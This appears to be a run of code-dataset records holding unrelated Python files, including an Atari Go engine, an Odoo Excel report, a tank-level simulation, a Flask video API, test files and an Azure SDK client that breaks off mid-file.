players are either 1 or 2, we can\n simply subtract 3 - player\n \"\"\"\n self.player = 3 - self.player\n\n def find_neighboring_groups(self, group_list, neighbor_pos, my_pos, player):\n \"\"\"\n This function finds the neighboring groups, and updates\n their liberties\n\n :param group_list: set with groups to be merged\n :param neighbor_pos: position of neighbor\n :param my_pos: current move position\n :param player: color to play\n :return updated set of groups to merge\n \"\"\"\n\n group = self.group_board[neighbor_pos[0]][neighbor_pos[1]]\n if group != 0: # Found a group\n neighbor_player = self.get_group_player(group)\n # removes liberty corresponding to current point\n self.groups[neighbor_player][group].remove_liberty(my_pos[0], my_pos[1])\n # if same group, adds to group list\n if neighbor_player == player:\n group_list.add(group)\n\n return group_list\n\n def update_groups(self, move):\n \"\"\"\n Function responsible for updating the state after\n having played a certain move.\n\n :param move: action played as an action tuple (p, i, j)\n :return: updated state\n \"\"\"\n player = move[0]\n\n row = move[1]\n col = move[2]\n new_element = [(row, col)]\n\n wanted_group_list = set()\n\n # Check if there groups nearby\n\n # Look up for same player groups\n if row - 1 >= 0:\n wanted_group_list = self.find_neighboring_groups(wanted_group_list, (row - 1, col), new_element[0], player)\n # Look down\n if row + 1 < self.size:\n wanted_group_list = self.find_neighboring_groups(wanted_group_list, (row + 1, col), new_element[0],player)\n # Look right\n if col + 1 < self.size:\n wanted_group_list = self.find_neighboring_groups(wanted_group_list, (row, col + 1), new_element[0], player)\n # Look left\n if col - 1 >= 0:\n wanted_group_list = self.find_neighboring_groups(wanted_group_list, (row, col - 1), new_element[0], player)\n\n if len(wanted_group_list) >= 1: # Want to join to more than 1 group\n\n # Insert me in the first group (ordered)\n first_group = wanted_group_list.pop()\n\n # Update group board accordingly\n self.group_board[row][col] = first_group\n\n # add element along with its liberties\n self.groups[player][first_group].add_element(new_element)\n self.groups[player][first_group].add_liberties(row, col, self.group_board)\n\n # Merge all the groups\n for group in wanted_group_list:\n\n # merges next group to the first\n elements_to_merge = self.groups[player][first_group].merge_groups(player, self.groups, group)\n\n # removes old group from dictionary\n self.groups[player].pop(group)\n\n # updates group board\n for old_element_row, old_element_col in elements_to_merge:\n self.group_board[old_element_row][old_element_col] = self.group_board[row][col]\n\n elif len(wanted_group_list) == 0: # Alone\n # Create a new group for myself\n self.groups[player][self.counters[player]] = Group((row, col))\n # Update group board accordingly\n self.group_board[row][col] = self.counters[player]\n # Update counter\n self.counters[player] += 2\n # Add liberties to group\n group = self.group_board[row][col]\n self.groups[player][group].add_liberties(row, col, self.group_board)\n\n def get_group_player(self, group_number):\n \"\"\"\n Gives the player for a given group label\n\n :param group_number: label/group number to identify\n :return: corresponding player\n \"\"\"\n if group_number % 2 == 0:\n return 2\n else:\n return 1\n\n\nclass Game:\n \"\"\"\n This class implements the Atari Go game.\n\n While Go scoring is based on both surrounded territory and captured stones,\n the Atari Go finishes when the first stone is captured. More information on\n Atari Go can be found here:\n https://senseis.xmp.net/?CaptureGo\n\n This class assumes the following:\n - players: Players are represented with the integers 1 for black and 2 for white\n - actions: Actions are represented as a tuple (p,i,j) where:\n - p ∈ {1, 2} is the player\n - i ∈ {1, . . . , N} is the row\n - j ∈ {1, . . . , N} is the column\n (assuming that (1,1) corresponds to the top left position and the size of the board is N)\n - states:\n\n Note: A game is similar to a problem, but it has a utility for each\n state and a terminal test instead of a path cost and a goal\n test.\n \"\"\"\n\n def to_move(self, s):\n \"\"\"\n Returns the player to move next given the state s.\n\n :returns: next player to play\n \"\"\"\n return s.player\n\n def terminal_test(self, s):\n \"\"\"Returns a boolean of whether state s is terminal.\n\n The procedure is the following:\n - the current player must have at least one liberty on\n all its groups;\n - if the condition above verifies, there still need to\n be a non empty list of possible actions given the state s\n\n If any of the conditions above is violated the state is terminal.\n\n The winner is also updated in the state.\n\n :param: s - state\n :return: terminal_test - boolean for terminal state\n \"\"\"\n terminal_state = False\n # s.draw = 0 mean that the termina_test has been called (previously s.draw = -1)\n s.draw = 0\n\n # verifies that no group has 0 liberties\n for player in [1,2]:\n for group in s.groups[player].values():\n if group.n_liberties == 0:\n terminal_state = True\n\n\n # no group was closed, must verify if there's a possible action\n # to play\n\n if not terminal_state:\n possible_actions = self.actions(s)\n\n if len(possible_actions) == 0:\n terminal_state = True\n s.draw = 1\n\n return terminal_state\n\n def utility(self, s, player):\n \"\"\"\n Returns the payoff of state s if it is terminal (1 if p wins, -1\n if p loses, 0 in case of a draw), otherwise, its evaluation with respect\n to player p.\n To calculate the evaluation it uses the alpha beta cut\n off search, described further below\n\n Note the following:\n s.player - is the player that is going to play this round\n player - is the player being evaluated\n\n :param: s - state\n :param: player - player for which utility is being calculated\n :returns: utility score , belong to the interval [-1,1]\n \"\"\"\n\n if s.draw == -1: # terminal test not yet run\n self.terminal_test(s)\n if s.draw == 1:\n return 0\n\n # calculate liberties of group with less liberties\n own_min = infinity\n own_liberties = 0\n for group in s.groups[player].values():\n own_liberties += group.n_liberties\n if group.n_liberties < own_min:\n own_min = group.n_liberties\n\n other_min = infinity\n other_liberties = 0\n for group in s.groups[3-player].values():\n other_liberties += group.n_liberties\n if group.n_liberties < other_min:\n other_min = group.n_liberties\n\n # verifies suicidal kill\n if other_min == 0 and own_min == 0:\n if s.player != player:\n return 1\n else:\n return -1\n\n # regular win\n if other_min == 0:\n return 1\n # regular death\n if own_min == 0:\n return -1\n\n #return (lambda * (own_min/(own_min+other_min)) + (1-lambda)* ((own_min-other_min)/(own_min+other_min)))\n return ((own_min-other_min)/(own_min+other_min))\n\n def actions(self, s):\n \"\"\"\n Returns a list of valid moves at state s.\n\n Because we use 0 based board indexation in our implementation and the API states that 1 based\n indexation should be used, we have so add one from each coordinate when an action is returned\n\n :param: s - state\n :returns: list of actions available for state s\n \"\"\"\n\n actions = list()\n\n for row in range(s.size):\n for col in range(s.size):\n\n if s.group_board[row][col] == 0:\n if row - 1 >= 0:\n if self.not_suicide(s, row-1, col):\n actions.append((s.player, row + 1, col + 1))\n continue\n\n if row + 1 < s.size:\n if self.not_suicide(s, row + 1, col):\n actions.append((s.player, row + 1, col + 1))\n continue\n\n if col - 1 >= 0:\n if self.not_suicide(s, row, col - 1):\n actions.append((s.player, row + 1, col + 1))\n continue\n\n if col + 1 < s.size:\n if self.not_suicide(s, row, col + 1):\n actions.append((s.player, row + 1, col + 1))\n continue\n\n return actions\n\n def not_suicide(self, s, row, col):\n \"\"\"\n This function verifies the piece played at (row,col)\n given the state s is not a suicide\n\n :param s - state\n :param row - row in the board\n :param col - col in the board\n :return: boolean - it is or it isn't suicide\n \"\"\"\n\n group = s.group_board[row][col]\n\n if group == 0:\n return True\n\n player = s.get_group_player(group)\n group_liberties = s.groups[player][group].n_liberties\n\n if player == s.player and group_liberties > 1:\n return True\n\n if player != s.player and group_liberties == 1:\n return True\n\n return False\n\n def result(self, s, a):\n \"\"\"\n Return the state that results from making action a from state s.\n\n Because we use 0 based board indexation in our implementation and the API states that 1 based\n indexation should be used, we have so subtract one from each coordinate when an action is received\n\n Generates next state (allocates new memory).\n\n :param: s - state\n :param: a - action tuple\n :returns next state\n \"\"\"\n a = (a[0], a[1]-1, a[2]-1)\n\n # Initialize successor state\n successor_s = s.__copy__()\n \n # Assuming that action a is a valid action (verified before), next state is updated accordingly\n successor_s.update_state(a)\n \n return successor_s\n\n def load_board(self, file):\n \"\"\"\n Loads a board from an opened file and returns the corresponding state\n\n :returns: corresponding state\n \"\"\"\n\n # 1. First line should contain:\n # - size of board\n # - next player to move\n line1 = file.readline()\n size, player = map(int, line1.split(' '))\n\n # 2. Load board into matrix\n board = []\n for row in range(size):\n board_row = file.readline().split('\\n')[0]\n board.append([int(point) for point in board_row])\n\n # 3. Initialize state\n s = State(player, size, initial_board=board)\n\n return s","sub_path":"mini_project1/go.py","file_name":"go.py","file_ext":"py","file_size_in_byte":22789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"444647730","text":"# -*- coding: utf-8 -*-\r\nfrom odoo import api, fields, models\r\nfrom cStringIO import StringIO\r\nimport xlsxwriter\r\n\r\n\r\nclass ExcelAccountingReport(models.TransientModel):\r\n\r\n _inherit = \"accounting.report\"\r\n\r\n @api.multi\r\n def print_excel_report(self):\r\n self.ensure_one()\r\n filename = self.account_report_id.name + '.xlsx'\r\n return {\r\n 'type': 'ir.actions.act_url',\r\n 'url': '/account_report_excel/print?filename=' + filename + '&model_name=accounting.report&model_curr_id=' + str(self.id),\r\n 'target': 'new',\r\n }\r\n\r\n @api.multi\r\n def create_excel_data(self,**kwargs):\r\n data = {}\r\n data['ids'] = self.env.context.get('active_ids', [])\r\n data['model'] = self.env.context.get('active_model', 'ir.ui.menu')\r\n data['form'] = self.read(['date_from', 'date_to', 'journal_ids', 'target_move'])[0]\r\n used_context = {}\r\n used_context['journal_ids'] = 'journal_ids' in data['form'] and data['form']['journal_ids'] or False\r\n used_context['state'] = 'target_move' in data['form'] and data['form']['target_move'] or ''\r\n used_context['date_from'] = data['form']['date_from'] or False\r\n used_context['date_to'] = data['form']['date_to'] or False\r\n used_context['strict_range'] = True if used_context['date_from'] else False\r\n data['form']['used_context'] = dict(used_context, lang=self.env.context.get('lang', 'en_US'))\r\n data['form']['account_report_id'] = self.account_report_id\r\n data['form']['date_from_cmp'] = self.date_from_cmp\r\n data['form']['date_to_cmp'] = self.date_to_cmp\r\n data['form']['journal_ids'] = [x.id for x in self.journal_ids]\r\n data['form']['filter_cmp'] = self.filter_cmp\r\n data['form']['target_move'] = self.target_move\r\n for field in ['account_report_id']:\r\n if isinstance(data['form'][field], tuple):\r\n data['form'][field] = data['form'][field][0]\r\n comparison_context = self._build_comparison_context(data)\r\n data['form']['comparison_context'] = comparison_context\r\n\r\n data['form']['date_from_cmp'] = self.date_from_cmp\r\n data['form']['debit_credit'] = self.debit_credit\r\n data['form']['filter_cmp'] = self.filter_cmp\r\n data['form']['date_to_cmp'] = self.date_to_cmp\r\n data['form']['enable_filter'] = self.enable_filter\r\n data['form']['label_filter'] = self.label_filter\r\n data['form']['target_move'] = self.target_move\r\n data['form']['account_report_id'] = [x.id for x in self.account_report_id]\r\n\r\n\r\n acc_lines = self.env['report.account.report_financial'].get_account_lines(data['form'])\r\n # target = open('C:\\log.txt', 'a')\r\n # target.write(\"create_excel_data:acc_lines\" + str(self.env.context) + \"\\n\")\r\n # target.close()\r\n\r\n file_data = StringIO()\r\n workbook = xlsxwriter.Workbook(file_data)\r\n format1 = workbook.add_format()\r\n format1.set_bold()\r\n format1.set_font_size(30)\r\n format2 = workbook.add_format()\r\n format2.set_bold()\r\n format4 = workbook.add_format()\r\n format4.set_num_format('#,##0.00')\r\n worksheet = workbook.add_worksheet()\r\n if 'lang' in self.env.context and self.env.context.get('lang') == 'ar_SY':\r\n worksheet.right_to_left()\r\n worksheet.write(0, 0, fields.Datetime.now())\r\n worksheet.write(2, 0, self.account_report_id.name, format1)\r\n if 'lang' in self.env.context and self.env.context.get('lang') == 'ar_SY':\r\n worksheet.write(4, 0, 'الحركات المستهدفة', format2)\r\n else:\r\n worksheet.write(4, 0, 'Target Moves', format2)\r\n worksheet.write(5, 0, dict(self.fields_get(allfields=['target_move'])['target_move']['selection'])[self.target_move])\r\n\r\n if len(acc_lines):\r\n if 'lang' in self.env.context and self.env.context.get('lang') == 'ar_SY':\r\n worksheet.write(7, 0, 'الحساب', format2)\r\n if 'debit' in acc_lines[0]:\r\n worksheet.write(7, 1, 'مدين', format2)\r\n worksheet.write(7, 2, 'دائن', format2)\r\n worksheet.write(7, 3, 'الرصيد', format2)\r\n elif 'balance_cmp' in acc_lines[0]:\r\n worksheet.write(7, 1, 'الرصيد', format2)\r\n worksheet.write(7, 2, data['form']['label_filter'], format2)\r\n else:\r\n worksheet.write(7, 1, 'الرصيد', format2)\r\n else:\r\n worksheet.write(7, 0, 'Name', format2)\r\n if 'debit' in acc_lines[0]:\r\n worksheet.write(7, 1, 'Debit', format2)\r\n worksheet.write(7, 2, 'Credit', format2)\r\n worksheet.write(7, 3, 'Balance', format2)\r\n elif 'balance_cmp' in acc_lines[0]:\r\n worksheet.write(7, 1, 'Balance', format2)\r\n worksheet.write(7, 2, data['form']['label_filter'], format2)\r\n else:\r\n worksheet.write(7, 1, 'Balance', format2)\r\n row=8\r\n for line in acc_lines:\r\n if line['level'] == 0:\r\n continue\r\n format3 = workbook.add_format()\r\n format3.set_indent(line['level'])\r\n worksheet.write(row,0,line['name'],format3)\r\n if 'debit' in line:\r\n worksheet.write(row, 1, line['debit'],format4)\r\n worksheet.write(row, 2, line['credit'],format4)\r\n worksheet.write(row, 3, line['balance'],format4)\r\n elif 'balance_cmp' in line:\r\n worksheet.write(row, 1, line['balance'],format4)\r\n worksheet.write(row, 2, line['balance_cmp'],format4)\r\n else:\r\n worksheet.write(row, 1, line['balance'],format4)\r\n row +=1\r\n workbook.close()\r\n file_data.seek(0)\r\n file_content = file_data.read()\r\n file_data.close()\r\n\r\n return file_content\r\n\r\n","sub_path":"tt_accouting_lib/models/excel_account_fin.py","file_name":"excel_account_fin.py","file_ext":"py","file_size_in_byte":6169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"137904899","text":"#!/usr/bin/env python\n# _*_ coding: utf-8 _*_\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import style\nstyle.use('fivethirtyeight')\nimport numpy as np\nimport pandas as pd\nfrom scipy.optimize import fsolve\n#from IPython.display impor display\nfrom SPQentrada import *\n\n#Datos iniciales\nf1 = 5.0 #m3/h\nvp_ini = 0.5\n\nD_m = 1.5 #metros\nd_in = 1.0 #pulgada\nL1 = 5.0\nL2 = 5.0\nfd = 0.03\n\n\nKv_bar = 10.0\nrho = 1000 #kg/m3\n\ndt = 2\n\n#Datos Escalon F1\nt0_e1= 500\nA_e1 = 1\n\n##Datos Escalon F2\n#t0_e2= 500\n#A_e2 = 1\n\n#Datos Escalon valvula\nt0_ev= 500\nA_ev = 0\n\n#Datos Rampa F1\nt0_r1 = 500\npend1 = 0\ndt1 = 500\n\n##Datos Rampa F2\n#t0_r2 = 500\n#pend2 = 0\n#dt2 = 500\n\n#Datos Rampa valvula\nt0_rv = 500\npendv = 0\ndtv = 2000\n\n#Datos ExpDecreciente F1\nt0_exd1 = 500\ntau1 = 100\nA_exd1 = 0\n\n##Datos ExpDecreciente F2\n#t0_exd2 = 500\n#tau2 = 100\n#A_exd2 = 0\n\n#Datos ExpDecreciente valvula\nt0_exdv = 500\ntauv = 100\nA_exdv = 0\n\n#límites \"y\". Cambio de escala\nescalah = (2,7)\nescalaF = (4,7)\nescalaVP = (0,1)\n\n\n\ndef ejercicio1():\n \n #Autocalculados\n Kv_SI = Kv_bar * 0.000000878\n G = rho / 1000\n d_m = d_in * 0.0254\n area = np.pi * d_m**2 / 4\n AREA = np.pi * D_m**2 / 4\n \n \n N = range(0,1001,1)\n \n t = np.zeros(len(N))\n F1 = np.zeros(len(N))\n PA = np.zeros(len(N))\n PB = np.zeros(len(N))\n vpt = np.zeros(len(N))\n #F2 = np.zeros(len(N))\n F1_m3s = np.zeros(len(N))\n F2_m3s = np.zeros(len(N))\n v = np.zeros(len(N))\n h = np.zeros(len(N))\n dhdt = np.zeros(len(N))\n \n\n for i in range(len(N)):\n t[i] = i * dt\n F1[i] = f1 \\\n + ESCALON(t0_e1, A_e1, t[i])\\\n + RAMPA(t0_r1, pend1, dt1, t[i])\\\n + ExpDecr(t0_exd1, tau1, A_exd1, t[i])\n \n F1_m3s[i] = F1[i] / 3600.0\n \n vpt[i] = vp_ini \\\n + ESCALON(t0_ev, A_ev, t[i])\\\n + RAMPA(t0_rv, pendv, dtv, t[i])\\\n + ExpDecr(t0_exdv, tauv, A_exdv, t[i])\n \n if i == 0:\n \n v_0 = F1_m3s[0] / area\n \n PB[0] = rho * fd * L2/d_m * v_0**2 /(2*9.8)\n \n P_0 = PB[0] + G * (F1_m3s[i] / (Kv_SI * vpt[i]))**2\n \n altura0 = P_0/(rho * 9.8) + v_0**2/(2*9.8) * (1 + fd * L1/d_m) \n \n v[0] = v_0\n PA[0] = P_0\n h[0] = altura0\n \n #F2_m3s[0] = v_0 * area\n F2_m3s[0] = F1_m3s[0]\n \n dhdt[0] = 0 \n \n if i > 0:\n \n y = h[i-1] + dhdt[i-1] * dt\n \n h[i] = y\n \n \n \n def FOsolv (vsemilla):\n \n PB[i] = rho * fd * L2/d_m * vsemilla**2 /(2*9.8)\n\n P_guess = PB[i] + G * ((vsemilla * area) / (Kv_SI * vpt[i]))**2 \n \n F0 = P_guess/(rho * 9.8)\\\n + vsemilla**2/(2*9.8) * (1 + fd * L1/d_m)\\\n - h[i]\n \n return F0 \n \n sol = fsolve(FOsolv, 1.5)\n v[i] = sol\n \n PA[i] = PB[i] + G * ((v[i] * area) / (Kv_SI * vpt[i]))**2 \n \n F2_m3s[i] = area * v[i]\n \n dydt = (F1_m3s[i] - F2_m3s[i]) / AREA\n \n dhdt[i] = dydt\n \n \n F2 = F2_m3s * 3600\n PA_bar = PA / 100000\n \n #creacion de tabla df para pandas:\n valores = np.vstack((t, F1_m3s, F2_m3s, PA_bar, F1, F2, h))\n valores = valores.T\n columnas = ['tiempo_s', 'F1_m3/s', 'F2_m3/s', 'PA_bar',\n 'F1_m3/h', 'F2_m3/h', 'altura']\n df = pd.DataFrame(valores, columns=columnas)\n\n #gráficos\n# plt.plot(t, F1, label='F1')\n# plt.plot(t, F2, label='F2')\n# plt.legend()\n# print F1\n fig = plt.figure(figsize=(8,5))\n# \n ax1 = plt.subplot2grid((6,1),(0,0), rowspan=4)\n axv = plt.subplot2grid((6,1),(4,0), rowspan=2)\n \n ax1.plot(t, F1, label=\"F1\")\n ax1.plot(t, F2, label=\"F2\")\n ax1.set_ylabel('$Caudal\\;(m^3/h)$')\n ax1.set_xticklabels([])\n\n ax2 = ax1.twinx()\n ax2.plot(t, h, 'g-')\n ax2.set_ylabel('$altura\\;(m)$', color='g')\n ax2.tick_params('y', colors='g')\n \n #limites en y (Corrección de escala)\n ax1.set_ylim(escalaF)\n ax2.set_ylim(escalah)\n ax1.legend()\n \n axv.plot(t, vpt, 'm-')\n axv.set_ylabel('$apert$ $valvula$')\n axv.set_xlabel('$Tiempo (s)$')\n axv.set_ylim(escalaVP)\n\n tabla = df[(df.tiempo_s == 450) | (df.tiempo_s == 600) | (df.tiempo_s == 1000)]\n print (tabla)\n \n plt.show()\n \nejercicio1()","sub_path":"guia5_py27_ejercicio5.py","file_name":"guia5_py27_ejercicio5.py","file_ext":"py","file_size_in_byte":4579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"161830773","text":"'''\n사용자가 숫자를 입력하면 숫자의 각 자릿수의 합을 구해서 반환하는 프로그램을 작성하십시오.\n\n예를 들어 123을 입력하면 1 + 2 + 3 = 6의 결과를 반환합니다.\n'''\n\ninput_number = input()\n\nsum = 0\nfor number in input_number:\n sum += int(number)\n\nprint(sum)","sub_path":"PYTHON/파이썬_프로그래밍_기초_문제풀이/12/12-10.py","file_name":"12-10.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"236557750","text":"#!/usr/bin/python\n# -*- codding: utf-8 -*-\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom common.execute_command import execute_one_parameter\n\n\n# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/medialive/list-multiplex-programs.html\nif __name__ == '__main__':\n \"\"\"\n\tcreate-multiplex-program : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/medialive/create-multiplex-program.html\n\tdelete-multiplex-program : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/medialive/delete-multiplex-program.html\n\tdescribe-multiplex-program : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/medialive/describe-multiplex-program.html\n\tupdate-multiplex-program : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/medialive/update-multiplex-program.html\n \"\"\"\n\n parameter_display_string = \"\"\"\n # multiplex-id : The ID of the multiplex that the programs belong to.\n \"\"\"\n\n add_option_dict = {}\n #######################################################################\n # setting option use\n # ex: add_option_dict[\"setting_matching_parameter\"] = \"--owners\"\n # ex: add_option_dict[\"setting_key\"] = \"owner_id\"\n\n #######################################################################\n # single parameter\n # ex: add_option_dict[\"no_value_parameter_list\"] = \"--single-parameter\"\n\n #######################################################################\n # parameter display string\n add_option_dict[\"parameter_display_string\"] = parameter_display_string\n\n execute_one_parameter(\"medialive\", \"list-multiplex-programs\", \"multiplex-id\", add_option_dict)","sub_path":"medialive_read_1/multiplex-program_list.py","file_name":"multiplex-program_list.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"129763397","text":"from baracoda.operations import BarcodeOperations\nfrom baracoda.exceptions import InvalidPrefixError\nfrom baracoda.helpers import get_prefix_item\nimport pytest\n\ndef test_correct_prefix_obj_is_created(app, prefixes):\n with app.app_context():\n barcode_operations = BarcodeOperations(prefix=\"LEED\")\n assert barcode_operations.prefix_item == get_prefix_item(\"LEED\")\n\ndef test_sequence_is_correct_for_centres(app):\n with app.app_context():\n barcode_operations = BarcodeOperations(prefix=\"LEED\")\n assert barcode_operations.sequence_name == \"heron\"\n\ndef test_sequence_is_correct_for_ht_plates(app):\n with app.app_context():\n barcode_operations = BarcodeOperations(prefix=\"HT\")\n assert barcode_operations.sequence_name == \"ht\"\n\ndef test_error_is_raised_if_prefix_is_not_valid(app):\n with app.app_context():\n with pytest.raises(InvalidPrefixError):\n barcode_operations = BarcodeOperations(prefix=\"MOON\")","sub_path":"tests/test_operations.py","file_name":"test_operations.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"409902125","text":"import shutil\nimport os\n\nfrom flask import request, redirect, session\nfrom flask import current_app as app\nfrom flask_restful import Resource, marshal_with, reqparse, fields, marshal, abort\n\nfrom watchtogether.api import flask_api\nfrom watchtogether.util import rm_f\nfrom watchtogether.config import settings\nfrom watchtogether.auth import ownerid\nfrom watchtogether.database import models, db_session\nfrom watchtogether import tasks\n\nvideo_fields = {\n 'url': fields.Url('video', absolute=True),\n 'id': fields.String,\n 'title': fields.String,\n 'width': fields.Integer,\n 'height': fields.Integer,\n 'duration': fields.Float,\n 'encoding_progress': fields.Integer,\n 'encoding_speed': fields.Float,\n 'encoding_status': fields.String,\n 'tune': fields.String,\n 'default_subtitles': fields.Boolean,\n}\n\nvideo_parser = reqparse.RequestParser()\nvideo_parser.add_argument('title', nullable=False, required=True)\n\nclass Video(Resource):\n @marshal_with(video_fields)\n def get(self, id):\n owner_id = request.cookies.get(app.config['COOKIE_OWNER_ID'])\n video = db_session.query(models.Video).filter_by(owner=owner_id, id=id).one_or_none()\n\n if not video:\n abort(404)\n\n return video\n\n def delete(self, id):\n owner_id = request.cookies.get(app.config['COOKIE_OWNER_ID'])\n video = db_session.query(models.Video).filter_by(owner=owner_id, id=id).one_or_none()\n\n if not video:\n abort(404)\n\n try:\n if (video.playlist):\n rm_f(video.playlist)\n\n if (video.orig_file):\n rm_f(os.path.join(app.config['MOVIE_PATH'], video.orig_file))\n\n if app.config['STORAGE_BACKEND'] == 'S3':\n tasks.s3_delete.delay(video.id)\n else:\n viddir = f\"{app.config['MOVIE_PATH']}/{video.id}\"\n shutil.rmtree(viddir, ignore_errors = True)\n except:\n abort(500)\n\n db_session.delete(video)\n db_session.commit()\n\n return \"Video deleted\", 204\n\nclass VideoList(Resource):\n @marshal_with(video_fields)\n def get(self):\n owner_id = request.cookies.get(app.config['COOKIE_OWNER_ID'])\n res = db_session.query(models.Video).filter_by(owner=owner_id).all()\n return res\n\n @marshal_with(video_fields)\n def put(self):\n owner_id = request.cookies.get(app.config['COOKIE_OWNER_ID'])\n if not owner_id:\n abort(403)\n\n args = video_parser.parse_args()\n video = models.Video(title=args['title'], owner=owner_id)\n db_session.add(video)\n db_session.commit()\n\n return video\n \n\n","sub_path":"watchtogether/api/models/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"368507146","text":"# if 14 < 5:\n# print('dddd')\n# else:\n# print('sssss')\n\nh = int(input('Unesite sate : '))\nif (h >= 6 and h < 13) or (h >= 17 and h < 24):\n print('Dozvoljaju se radovi. ')\nelse:\n print('Zabranjeno je. ')\n","sub_path":"logicki operatori.py","file_name":"logicki operatori.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"309049316","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is regenerated.\n# --------------------------------------------------------------------------\n\nfrom copy import deepcopy\nfrom typing import Any, Awaitable, TYPE_CHECKING\n\nfrom azure.core.rest import AsyncHttpResponse, HttpRequest\nfrom azure.mgmt.core import AsyncARMPipelineClient\n\nfrom .. import models as _models\nfrom .._serialization import Deserializer, Serializer\nfrom ._configuration import AzureStackHCIClientConfiguration\nfrom .operations import (\n ArcSettingsOperations,\n ClustersOperations,\n ExtensionsOperations,\n GalleryimagesOperations,\n GuestAgentOperations,\n GuestAgentsOperations,\n HybridIdentityMetadataOperations,\n MachineExtensionsOperations,\n MarketplacegalleryimagesOperations,\n NetworkinterfacesOperations,\n Operations,\n StoragecontainersOperations,\n VirtualharddisksOperations,\n VirtualmachinesOperations,\n VirtualnetworksOperations,\n)\n\nif TYPE_CHECKING:\n # pylint: disable=unused-import,ungrouped-imports\n from azure.core.credentials_async import AsyncTokenCredential\n\n\nclass AzureStackHCIClient: # pylint: disable=client-accepts-api-version-keyword,too-many-instance-attributes\n \"\"\"Azure Stack HCI management service.\n\n :ivar arc_settings: ArcSettingsOperations operations\n :vartype arc_settings: azure.mgmt.azurestackhci.aio.operations.ArcSettingsOperations\n :ivar clusters: ClustersOperations operations\n :vartype clusters: azure.mgmt.azurestackhci.aio.operations.ClustersOperations\n :ivar extensions: ExtensionsOperations operations\n :vartype extensions: azure.mgmt.azurestackhci.aio.operations.ExtensionsOperations\n :ivar galleryimages: GalleryimagesOperations operations\n :vartype galleryimages: azure.mgmt.azurestackhci.aio.operations.GalleryimagesOperations\n :ivar marketplacegalleryimages: MarketplacegalleryimagesOperations operations\n :vartype marketplacegalleryimages:\n azure.mgmt.azurestackhci.aio.operations.MarketplacegalleryimagesOperations\n :ivar networkinterfaces: NetworkinterfacesOperations operations\n :vartype networkinterfaces: azure.mgmt.azurestackhci.aio.operations.NetworkinterfacesOperations\n :ivar operations: Operations operations\n :vartype operations: azure.mgmt.azurestackhci.aio.operations.Operations\n :ivar storagecontainers: StoragecontainersOperations operations\n :vartype storagecontainers: azure.mgmt.azurestackhci.aio.operations.StoragecontainersOperations\n :ivar virtualharddisks: VirtualharddisksOperations operations\n :vartype virtualharddisks: azure.mgmt.azurestackhci.aio.operations.VirtualharddisksOperations\n :ivar virtualmachines: VirtualmachinesOperations operations\n :vartype virtualmachines: azure.mgmt.azurestackhci.aio.operations.VirtualmachinesOperations\n :ivar hybrid_identity_metadata: HybridIdentityMetadataOperations operations\n :vartype hybrid_identity_metadata:\n azure.mgmt.azurestackhci.aio.operations.HybridIdentityMetadataOperations\n :ivar machine_extensions: MachineExtensionsOperations operations\n :vartype machine_extensions:\n azure.mgmt.azurestackhci.aio.operations.MachineExtensionsOperations\n :ivar guest_agent: GuestAgentOperations operations\n :vartype guest_agent: azure.mgmt.azurestackhci.aio.operations.GuestAgentOperations\n :ivar guest_agents: GuestAgentsOperations operations\n :vartype guest_agents: azure.mgmt.azurestackhci.aio.operations.GuestAgentsOperations\n :ivar virtualnetworks: VirtualnetworksOperations operations\n :vartype virtualnetworks: azure.mgmt.azurestackhci.aio.operations.VirtualnetworksOperations\n :param credential: Credential needed for the client to connect to Azure. Required.\n :type credential: ~azure.core.credentials_async.AsyncTokenCredential\n :param subscription_id: The ID of the target subscription. Required.\n :type subscription_id: str\n :param base_url: Service URL. Default value is \"https://management.azure.com\".\n :type base_url: str\n :keyword api_version: Api Version. Default value is \"2021-09-01-preview\". Note that overriding\n this default value may result in unsupported behavior.\n :paramtype api_version: str\n :keyword int polling_interval: Default waiting time between two polls for LRO operations if no\n Retry-After header is present.\n \"\"\"\n\n def __init__(\n self,\n credential: \"AsyncTokenCredential\",\n subscription_id: str,\n base_url: str = \"https://management.azure.com\",\n **kwargs: Any\n ) -> None:\n self._config = AzureStackHCIClientConfiguration(\n credential=credential, subscription_id=subscription_id, **kwargs\n )\n self._client = AsyncARMPipelineClient(base_url=base_url, config=self._config, **kwargs)\n\n client_models = {k: v for k, v in _models.__dict__.items() if isinstance(v, type)}\n self._serialize = Serializer(client_models)\n self._deserialize = Deserializer(client_models)\n self._serialize.client_side_validation = False\n self.arc_settings = ArcSettingsOperations(self._client, self._config, self._serialize, self._deserialize)\n self.clusters = ClustersOperations(self._client, self._config, self._serialize, self._deserialize)\n self.extensions = ExtensionsOperations(self._client, self._config, self._serialize, self._deserialize)\n self.galleryimages = GalleryimagesOperations(self._client, self._config, self._serialize, self._deserialize)\n self.marketplacegalleryimages = MarketplacegalleryimagesOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.networkinterfaces = NetworkinterfacesOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.operations = 